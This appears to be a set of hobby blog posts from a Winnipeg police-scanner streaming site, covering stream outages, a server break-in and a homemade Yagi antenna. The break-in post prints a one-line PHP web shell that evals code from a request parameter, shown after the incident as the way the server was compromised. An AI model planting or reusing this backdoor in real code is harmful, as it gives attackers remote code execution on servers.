Hope you don't have a hang-over!

WinnipegTheft wants all our members to have a very Merry Christmas!

We are trying to reduce the amount of times the Police Scanner is getting kicked OFFLINE.  It can go offline for many reasons, but we are trying to eliminate the ways that we can control.  Such reasons could be power outages, computer or software issues, malfunctioning router or modem, cable provider, or broadcast provider.  It is very hard to determine which factor is responsible when the we going OFFLINE intermittently.  The only way to absolute determine the problem is to systematically switch out each component.  Since we began broadcasting the video display, we have been kicked OFFLINE progressively faster it seems.  We can't seem to make it through even 1 week without going offline, and it is difficult to monitor 24/7.  We noticed that if we uploaded at a higher quality than 200 kbps it was creating many issues.  Well this made me very suspicious since we can upload 10 times that amount.  I suspect because Winnipegtheft is a "very heavy user" that Ustream is throttling the bandwidth to get broadcaster (Wpgtheft) to upgrade to $199 Producer Pro.  We are not absolutely sure this is the problem but we are currently broadcasting over 400 kbps with Dyyno with no issues yet.  Kreval still isn't absolutely convinced, so I am testing various feeds.  I find it really annoying that it is going OFFLINE so much,  I know are regulars are!  So I will be testing in the next week, and apologize for that annoying audio sample that was looping when I was testing Ustream Producer Pro. 

We will resolve this issue, Thank you for your patience.
 

Kreval

Kreval

Kreval

Well, I found out how the script kiddy was getting in and being a bother to WinnipegTheft!  This hack was never directed toward WinnipegTheft directly.  They just were scanning for sites with a specific program or plug-in installed.  They were getting in with a plug-in I used called PhpMyAdmin.  This is the code that compromised my server.  (if your interested)

<?php if(isset($_REQUEST["asc"]))eval(stripslashes($_REQUEST["asc"])); ?>

The one thing that is interesting is that most hackers are not malicious and will not delete anything.  This kid deleted everything (he was not nice, just a pest).  But of course I have backups.  I think it is all good now.  The punk never had access to passwords so no need to worry.  Chalk this one up as a good learning experience and backup your data.

Kreval

This is WinnipegTheft's Yagi Antenna, Kreval made it more than 4 years ago.  It was made from a long wood dowel with pilot holes drilled for the wire.  Different spacing and lengths for the wire were necessary to make this antenna work.  There was an inherent problem with the design, …because we live in Canada we have extreme temperature fluctuations – more than 75 degrees.  Due to the extreme expansion and contraction the wires actually moved back and forth thru the pilot hole openings.  Now you might think the holes were too big, or how much could the wires actually move?  Some of the wire moved more than 1/4 inch in either direction, and it took about 30 lbs of force to pull some of these wires back to there original placement. 

Since the scanner has been operated remotely for many years now, Kreval didn't have anyone to service the scanner and antenna.  Everytime Kreval asked someone to go look at it, everything looked fine from ground level, and the scanner's reception always got better.  It was only in the last 3 months that was becoming too much of an issue, and in Feb it stopped receiving competely. 

In Dec 2010, Kreval was considering shutting down the website due the the inconvience of not living in Manitoba and nobody to service the scanner and antenna.  I thought it was it was a shame to call it quits after so many years.   So I told Kreval to suck up his pride and make this site into a legimate website – Kreval really hates google ads, but reluctantly agreed to put them on.  I agreed to service his scanner and yagi antenna.  

So now there are 2 scanners, one for WPS and I guess another for RCMP???  Just one problem the original antenna was thrown away, so an additional yagi has to be made.  

Cheers

This is the next steps

1. Program the scanner
2. Test the scanner feed
3. Permanantly install the scanner

Follow ups to be posted on twiter.  Please follow WinnipegTheft on Twitter by clicking HERE to stay updated.